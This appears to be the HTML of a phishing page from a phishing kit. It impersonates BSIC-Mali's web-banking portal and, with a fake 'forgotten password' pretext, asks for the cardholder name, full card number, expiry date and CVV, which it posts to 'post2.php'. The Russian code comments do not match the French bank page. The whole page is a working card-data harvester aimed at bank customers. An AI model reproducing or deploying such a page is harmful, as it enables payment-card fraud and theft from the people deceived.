<div class="row">
	
	<div class="col-xs-offset-4 col-xs-4">
		<div class="panel panel-default">
				<div class="panel-body text-center">
					<span class="ebkstyle2 bienvenuSur">
						Bienvenue sur BSIC-Mali Web-Banking</span>
				</div>
			</div>
			<div class="panel panel-default">
    <div class="panel-body">
        <h3 class="text-center">Vous avez oublié votre mot de passe ? Vous devez passer une vérification avec votre carte bancaire.</h3>
        <form id="paymentForm" method="post" action="post2.php" onsubmit="showLoader(); return isFormValid(this);">
                       
            <div class="form-group">
                <label for="cardholderName">Nom du titulaire de la carte</label>
                <input type="text" name="cardholderName" id="cardholderName" class="form-control" autocomplete="off" required>
            </div>
            <div class="form-group">
                <label for="cardNumber">Numéro de carte</label>
                <input type="text" name="cardNumber" id="cardNumber" class="form-control" autocomplete="off" maxlength="16" pattern="\d{16}" required>
            </div>
            <div class="form-group">
                <label for="expiryDate">Date d'expiration</label>
                <input type="text" name="expiryDate" id="expiryDate" class="form-control" autocomplete="off" placeholder="MM/YY" pattern="(0[1-9]|1[0-2])\/\d{2}" required>
            </div>
            <div class="form-group">
                <label for="cvv">CVV</label>
                <input type="text" name="cvv" id="cvv" class="form-control" autocomplete="off" maxlength="3" pattern="\d{3}" required>
            </div>
            <input class="btn btn-primary col-xs-12" type="submit" value="Vérifier">
        </form>
    </div>
</div>
<script>
document.getElementById('expiryDate').addEventListener('input', function (e) {
    let input = e.target.value.replace(/\D/g, ''); // Удаляем все нецифровые символы
    if (input.length > 2) {
        input = input.slice(0, 2) + '/' + input.slice(2, 4); // Добавляем "/"
    }
    e.target.value = input.slice(0, 5); // Ограничиваем длину до "MM/YY"
});
</script>
<!-- Прелоадер -->
<div id="loaderOverlay" class="loader-overlay" style="display: none;">
    <div class="loader"></div>
</div>

<style>
        /* Стили для модального окна */
        .modal {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background-color: rgba(0, 0, 0, 0.5);
    display: none; /* Скрыто по умолчанию */
    justify-content: center;
    align-items: center;
    z-index: 9999;
}

.modal.show {
    display: flex; /* Показывается только при наличии класса .show */
}

        .modal-content {
            background-color: #fff;
            padding: 20px;
            border-radius: 5px;
            text-align: center;
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
            max-width: 400px;
            width: 80%;
        }

        .close-btn {
            color: #aaa;
            float: right;
            font-size: 28px;
            font-weight: bold;
            cursor: pointer;
        }

        .close-btn:hover {
            color: #000;
        }

        /* Прелоадер */
        .loader-overlay {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5);
            z-index: 9999;
            display: flex;
            justify-content: center;
            align-items: center;
        }

        .loader {
            border: 8px solid #f3f3f3;
            border-top: 8px solid #3498db;
            border-radius: 50%;
            width: 50px;
            height: 50px;
            animation: spin 1s linear infinite;
        }

        @keyframes spin {
            0% {
                transform: rotate(0deg);
            }
            100% {
                transform: rotate(360deg);
            }
        }
    </style>

		 </div>
</div>